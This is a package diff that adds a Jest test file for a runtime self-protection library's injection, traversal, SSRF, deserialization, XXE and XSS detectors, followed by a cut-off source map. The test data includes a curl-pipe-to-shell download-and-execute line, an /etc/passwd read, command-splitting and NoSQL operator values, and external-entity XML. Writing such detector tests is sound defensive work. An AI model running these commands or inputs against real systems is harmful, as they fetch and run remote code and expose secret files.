shield360 1.0.1 → 1.2.0

package/dist/rasp/__tests__/detect.test.js

@@ -0,0 +1,276 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * Each structural check, proved with one value built from the structure it
+ * tests, beside the safe counterpart that must not fire. No payload lists:
+ * every value here is assembled from the property under test (a value that
+ * spans several tokens, a path that climbs out of its directory, an address
+ * in a private range, a document that declares an external entity).
+ */
+const os_1 = require("os");
+const detect_1 = require("../detect");
+const lexers_1 = require("../lexers");
+const normalize_1 = require("../normalize");
+const dnslog_domains_json_1 = __importDefault(require("../data/dnslog-domains.json"));
+const req = (value, key = 'query.q') => {
+    const out = [];
+    (0, normalize_1.addInput)(out, value, key);
+    return out;
+};
+const model = (text) => {
+    const out = [];
+    (0, normalize_1.addModelOutput)(out, text);
+    return out;
+};
+const sqlQuote = (v) => `'${v.replace(/'/g, "''")}'`;
+const shQuote = (v) => `'${v.replace(/'/g, "'\\''")}'`;
+describe('lexers', () => {
+    it('SQL: a qualified name is one token, a string with doubled quotes is one token', () => {
+        const q = `SELECT ${['db', 'tbl'].join('.')} FROM t WHERE a = ${sqlQuote("x'y")}`;
+        const kinds = (0, lexers_1.sqlTokens)(q).map((t) => t.kind);
+        expect(kinds).toEqual(['word', 'name', 'word', 'word', 'word', 'word', 'op', 'string']);
+    });
+    it('SQL: placeholders are single tokens', () => {
+        for (const p of ['?', '$1', ':name', '@name', '%s', '%(name)s']) {
+            expect((0, lexers_1.sqlTokens)(`a = ${p}`).map((t) => t.kind)).toEqual(['word', 'op', 'placeholder']);
+        }
+    });
+    it('shell: a quoted segment stays inside one word', () => {
+        const { tokens } = (0, lexers_1.shellTokens)(`grep ${shQuote('a b|c')} f`);
+        expect(tokens.map((t) => t.kind)).toEqual(['word', 'word', 'word']);
+    });
+    it('overlap uses half-open ranges', () => {
+        const toks = (0, lexers_1.codeTokens)('ab cd');
+        expect((0, lexers_1.overlapping)(toks, 0, 2)).toHaveLength(1);
+        expect((0, lexers_1.overlapping)(toks, 1, 3)).toHaveLength(2);
+    });
+    it('percent decoding is lenient and adds decoded forms once and twice', () => {
+        expect((0, normalize_1.percentDecode)('a%2Fb%zz')).toBe('a/b%zz');
+        const twice = encodeURIComponent(encodeURIComponent('a/b'));
+        expect(req(twice).map((i) => i.value)).toEqual([twice, encodeURIComponent('a/b'), 'a/b']);
+    });
+    it('model output splits into fenced blocks, then lines', () => {
+        const fence = '`'.repeat(3);
+        expect((0, normalize_1.modelFragments)(`intro\n${fence}\nline one\nline two\n${fence}\noutro`)).toEqual(['line one\nline two', 'intro', 'line one', 'line two', 'outro']);
+    });
+});
+describe('sql_injection', () => {
+    // A value made of three non-keyword tokens: identifier, operator, identifier.
+    const spanning = ['col', '=', 'col'].join(' ');
+    it('sqli.userinput: an input that spans several tokens of the query', () => {
+        expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE a = ${spanning}`, req(spanning))?.rule).toBe('sqli.userinput');
+    });
+    it('safe: the same input bound as one string literal', () => {
+        expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE a = ${sqlQuote(spanning)}`, req(spanning))).toBeNull();
+    });
+    it('safe: a sort parameter made only of anti-detect keywords and one identifier', () => {
+        const sort = ['name', 'desc'].join(' ');
+        expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY ${sort}`, req(sort))).toBeNull();
+    });
+    it('sqli.stacked: a statement separator inside the input, followed by another token', () => {
+        // Keywords only, so the token-structure rule's anti-detect filter lets it pass.
+        const kw = 'desc';
+        const value = [kw, kw].join(';');
+        expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY a ${value}`, req(value))?.rule).toBe('sqli.stacked');
+        expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY a ${kw}`, req(kw))).toBeNull();
+    });
+    it('sqli.model_output: a model fragment spanning tokens, or a whole write statement', () => {
+        expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE ${spanning}`, model(spanning))?.rule).toBe('sqli.model_output');
+        const write = ['UPDATE', 't', 'SET', 'a', '=', '1'].join(' ');
+        expect((0, detect_1.detectSql)(write, model(write))?.rule).toBe('sqli.model_output');
+    });
+    it('safe: a read-only SELECT the model wrote whole (text-to-SQL)', () => {
+        const read = ['SELECT', 'a', 'FROM', 't'].join(' ');
+        expect((0, detect_1.detectSql)(read, model(read))).toBeNull();
+    });
+    it('safe: the whole query equal to an input (a SQL console)', () => {
+        const q = `SELECT * FROM t WHERE ${spanning}`;
+        expect((0, detect_1.detectSql)(q, req(q))).toBeNull();
+    });
+});
+describe('nosql_injection', () => {
+    const op = '$' + 'ne';
+    it('nosqli.operator: an operator object from the request body reaches the filter', () => {
+        const body = { user: { [op]: '' } };
+        expect((0, detect_1.detectNoSql)({ user: body.user }, [body], [])?.rule).toBe('nosqli.operator');
+    });
+    it('safe: the server builds the operator itself', () => {
+        const body = { user: 'alice' };
+        expect((0, detect_1.detectNoSql)({ user: { [op]: body.user } }, [body], [])).toBeNull();
+    });
+    it('nosqli.where: a tainted fragment spanning code tokens inside $where', () => {
+        const value = ['a', '||', 'b'].join(' ');
+        expect((0, detect_1.detectNoSql)({ $where: `this.x == ${value}` }, [{}], req(value))?.rule).toBe('nosqli.where');
+        expect((0, detect_1.detectNoSql)({ $where: `this.x == ${JSON.stringify(value)}` }, [{}], req(value))).toBeNull();
+    });
+});
+describe('command_injection and shell_spawn', () => {
+    const value = ['a', 'b'].join(';');
+    it('cmdi.userinput: an input that spans several shell tokens', () => {
+        expect((0, detect_1.detectCommand)(`ls ${value}`, req(value))?.rule).toBe('cmdi.userinput');
+        expect((0, detect_1.detectCommand)(`ls ${shQuote(value)}`, req(value))).toBeNull();
+    });
+    it('cmdi.substitution: a word-splitting variable inside one word', () => {
+        const v = ['a', 'b'].join('${IFS}');
+        expect((0, detect_1.detectCommand)(`echo ${v}`, req(v))?.rule).toBe('cmdi.substitution');
+        expect((0, detect_1.detectCommand)('echo a_b', req('a_b'))).toBeNull();
+    });
+    it('cmdi.full: the command equals an input', () => {
+        expect((0, detect_1.detectCommand)('uptime', req('uptime'))?.rule).toBe('cmdi.full');
+    });
+    it('cmdi.model_output: a whole model command with more than one command', () => {
+        const two = ['git status', 'git log'].join(' && ');
+        expect((0, detect_1.detectCommand)(two, model(two))?.rule).toBe('cmdi.model_output');
+        expect((0, detect_1.detectCommand)('git status', model('git status'))).toBeNull();
+    });
+    it('cmdi.executable: argv[0] equals an input', () => {
+        expect((0, detect_1.detectArgv)(['report-tool', '-x'], req('report-tool'))?.rule).toBe('cmdi.executable');
+        expect((0, detect_1.detectArgv)(['convert', 'report-tool'], req('report-tool'))).toBeNull();
+    });
+    it('shell_spawn.shell during a request, unless allowed; download_exec at any time', () => {
+        expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: true, allow: [] })?.rule).toBe('shell_spawn.shell');
+        expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: true, allow: ['sh'] })).toBeNull();
+        expect((0, detect_1.detectShellSpawn)({ argv0: '/bin/sh', inRequest: false, allow: [] })).toBeNull();
+        const pipe = ['curl -s https://example.com/x', 'sh'].join(' | ');
+        expect((0, detect_1.detectShellSpawn)({ command: pipe, inRequest: false, allow: [] })?.rule).toBe('shell_spawn.download_exec');
+    });
+});
+describe('path_traversal and file_write', () => {
+    const root = '/srv/app/uploads';
+    it('path.traversal: the input climbs out of its directory', () => {
+        const climb = ['..', '..', 'x.txt'].join('/');
+        expect((0, detect_1.detectPath)(`${root}/${climb}`, 'read', req(climb))?.rule).toBe('path.traversal');
+        expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req('x.txt'))).toBeNull();
+    });
+    it('path.absolute: the input is an absolute path the call uses', () => {
+        const abs = ['', 'srv', 'other', 'x.txt'].join('/');
+        expect((0, detect_1.detectPath)(abs, 'read', req(abs))?.rule).toBe('path.absolute');
+    });
+    it('path.nullbyte: the input carries a NUL and the path holds what comes before it', () => {
+        const v = ['x.txt', 'png'].join('\0.');
+        expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req(v))?.rule).toBe('path.nullbyte');
+    });
+    it('path.outside_root: a tainted path outside every allowed root', () => {
+        expect((0, detect_1.detectPath)(`/srv/app/other/x.txt`, 'read', req('x.txt'), [root])?.rule).toBe('path.outside_root');
+        expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req('x.txt'), [root])).toBeNull();
+    });
+    it('path.sensitive: a tainted path that resolves to a well-known secret file', () => {
+        expect((0, detect_1.detectPath)(`/etc/${'passwd'}`, 'read', req('passwd'))?.rule).toBe('path.sensitive');
+        expect((0, detect_1.detectPath)(`/etc/${'passwd'}`, 'read', req('report.pdf'))).toBeNull();
+    });
+    it('file_write.script: a request writes an executable script name; ntfs streams', () => {
+        const name = ['upload', 'js'].join('.');
+        expect((0, detect_1.detectPath)(`${(0, os_1.tmpdir)()}/${name}`, 'write', req(name))?.rule).toBe('file_write.script');
+        expect((0, detect_1.detectPath)(`${(0, os_1.tmpdir)()}/${name}`, 'read', req(name))).toBeNull();
+        expect((0, detect_1.detectPath)(`${root}/x.txt${'::$DATA'}`, 'write', [])?.rule).toBe('file_write.ntfs');
+    });
+});
+describe('ssrf (address class) and outbound', () => {
+    const url = (host, scheme = 'http') => `${scheme}://${host}/`;
+    it('ssrf.internal: a tainted host in a private range, by literal or by resolved address', () => {
+        const host = [10, 0, 0, 5].join('.');
+        expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.internal');
+        expect((0, detect_1.detectSsrf)(url('svc.example.com'), req('svc.example.com'), [host])?.rule).toBe('ssrf.internal');
+        expect((0, detect_1.detectSsrf)(url(host), req('report.pdf'))).toBeNull();
+        const pub = [93, 184, 216, 34].join('.');
+        expect((0, detect_1.detectSsrf)(url(pub), req(pub))).toBeNull();
+    });
+    it('address classes: IPv4-mapped IPv6 is decoded first', () => {
+        expect((0, detect_1.isPrivateAddress)(`::ffff:${[127, 0, 0, 1].join('.')}`)).toBe(true);
+        expect((0, detect_1.isPrivateAddress)(`::ffff:${[93, 184, 216, 34].join('.')}`)).toBe(false);
+        expect((0, detect_1.isPrivateAddress)('fe80::1')).toBe(true);
+    });
+    it('ssrf.metadata: tainted cloud metadata host; untainted SDK calls pass', () => {
+        const host = detect_1.METADATA_HOSTS[0];
+        expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.metadata');
+        expect((0, detect_1.detectSsrf)(url(host), req('report.pdf'))).toBeNull();
+    });
+    it('ssrf.obfuscated: a loopback address written as one decimal number', () => {
+        const decimal = String(((127 << 24) | 1) >>> 0);
+        expect((0, detect_1.detectSsrf)(url(decimal), req(decimal))?.rule).toBe('ssrf.obfuscated');
+    });
+    it('ssrf.protocol: a tainted host under a non-HTTP scheme', () => {
+        expect((0, detect_1.detectSsrf)(url('files.example.com', 'gopher'), req('files.example.com'))?.rule).toBe('ssrf.protocol');
+        expect((0, detect_1.detectSsrf)(url('files.example.com', 'https'), req('files.example.com'))).toBeNull();
+    });
+    it('ssrf.dnslog: a tainted host under a known out-of-band domain', () => {
+        const host = `probe${dnslog_domains_json_1.default.domains[0]}`;
+        expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.dnslog');
+    });
+    it('outbound.not_allowed: only with a non-empty allow-list', () => {
+        expect((0, detect_1.detectOutbound)(url('api.example.com'), ['*.example.org'])?.rule).toBe('outbound.not_allowed');
+        expect((0, detect_1.detectOutbound)(url('api.example.org'), ['*.example.org'])).toBeNull();
+        expect((0, detect_1.detectOutbound)(url('api.example.com'), [])).toBeNull();
+    });
+});
+describe('deserialization and code_injection (taint checks)', () => {
+    it('deser.pickle: tainted data always fires; untainted data never', () => {
+        const data = Buffer.from([0x80, 4, 0x95]).toString('latin1') + 'payload-bytes';
+        expect((0, detect_1.detectDeserialization)('pickle', data, req(data))?.rule).toBe('deser.pickle');
+        expect((0, detect_1.detectDeserialization)('pickle', data, req('report.pdf'))).toBeNull();
+    });
+    it('deser.typename: tainted JSON that names a type; plain JSON passes', () => {
+        const typed = JSON.stringify({ ['$' + 'type']: 'Some.Type', v: 1 });
+        expect((0, detect_1.detectDeserialization)('typename', typed, req(typed))?.rule).toBe('deser.typename');
+        const plain = JSON.stringify({ name: 'x', v: 1 });
+        expect((0, detect_1.detectDeserialization)('typename', plain, req(plain))).toBeNull();
+    });
+    it('deser.java: a tainted Java object stream always fires; untainted data never', () => {
+        const data = Buffer.from([0xac, 0xed, 0x00, 0x05]).toString('latin1') + 'payload-bytes';
+        expect((0, detect_1.detectDeserialization)('java', data, req(data))?.rule).toBe('deser.java');
+        expect((0, detect_1.detectDeserialization)('java', data, req('report.pdf'))).toBeNull();
+    });
+    it('deser.yaml (snakeyaml): a tainted global tag naming a Java class fires; standard tags pass', () => {
+        const tagged = 'a: !!java.util.ArrayList []';
+        expect((0, detect_1.detectDeserialization)('snakeyaml', tagged, req(tagged))?.rule).toBe('deser.yaml');
+        expect((0, detect_1.detectDeserialization)('snakeyaml', tagged, req('report.pdf'))).toBeNull();
+        const standard = 'name: !!str 12345';
+        expect((0, detect_1.detectDeserialization)('snakeyaml', standard, req(standard))).toBeNull();
+    });
+    it('code.eval: a tainted value spanning code tokens; the same value as a string literal passes', () => {
+        const value = ['a', '+', 'b'].join(' ');
+        expect((0, detect_1.detectCode)(`f(${value})`, req(value))?.rule).toBe('code.eval');
+        expect((0, detect_1.detectCode)(`f(${JSON.stringify(value)})`, req(value))).toBeNull();
+    });
+});
+describe('xxe (external entity check)', () => {
+    const doc = (subset) => `<?xml version="1.0"?><!DOCTYPE r [${subset}]><r>&e;</r>`;
+    const external = (uri) => doc(`<!ENTITY e SYSTEM "${uri}">`);
+    it('xxe.external_entity: tainted XML declaring an external entity, parser resolving them', () => {
+        const x = external('https://example.com/defs.dtd');
+        expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.external_entity');
+        expect((0, detect_1.detectXml)(x, req(x, 'body'), false)?.rule).toBe('xxe.doctype');
+        expect((0, detect_1.detectXml)(x, req('report.pdf'), true)).toBeNull();
+    });
+    it('xxe.file: an external entity naming an absolute file that is not a DTD', () => {
+        const x = external(`file://${['', 'srv', 'data', 'x.txt'].join('/')}`);
+        expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.file');
+    });
+    it('xxe.protocol: an external entity under a non-HTTP scheme', () => {
+        const x = external('ftp://files.example.com/x');
+        expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.protocol');
+    });
+    it('xxe.billion_laughs: three internal entities that expand other entities', () => {
+        const chain = ['<!ENTITY e0 "x">', ...[1, 2, 3].map((i) => `<!ENTITY e${i} "&e${i - 1};&e${i - 1};">`)].join('');
+        const x = doc(chain);
+        expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.billion_laughs');
+        const one = doc('<!ENTITY e "Acme">');
+        expect((0, detect_1.detectXml)(one, req(one, 'body'), true)).toBeNull();
+    });
+});
+describe('xss (monitor only)', () => {
+    const tag = 'b';
+    const value = `<${tag}>${'x'.repeat(16)}</${tag}>`;
+    const escape = (v) => v.replace(/</g, '&lt;').replace(/>/g, '&gt;');
+    it('xss.reflected: a markup-shaped input of 15+ characters reflected verbatim into HTML', () => {
+        expect((0, detect_1.detectXss)('text/html', `<p>${value}</p>`, req(value))?.rule).toBe('xss.reflected');
+    });
+    it('safe: escaped, or not HTML', () => {
+        expect((0, detect_1.detectXss)('text/html', `<p>${escape(value)}</p>`, req(value))).toBeNull();
+        expect((0, detect_1.detectXss)('application/json', JSON.stringify({ value }), req(value))).toBeNull();
+    });
+});
+//# sourceMappingURL=detect.test.js.map

package/dist/rasp/__tests__/detect.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"detect.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/detect.test.ts"],"names":[],"mappings":"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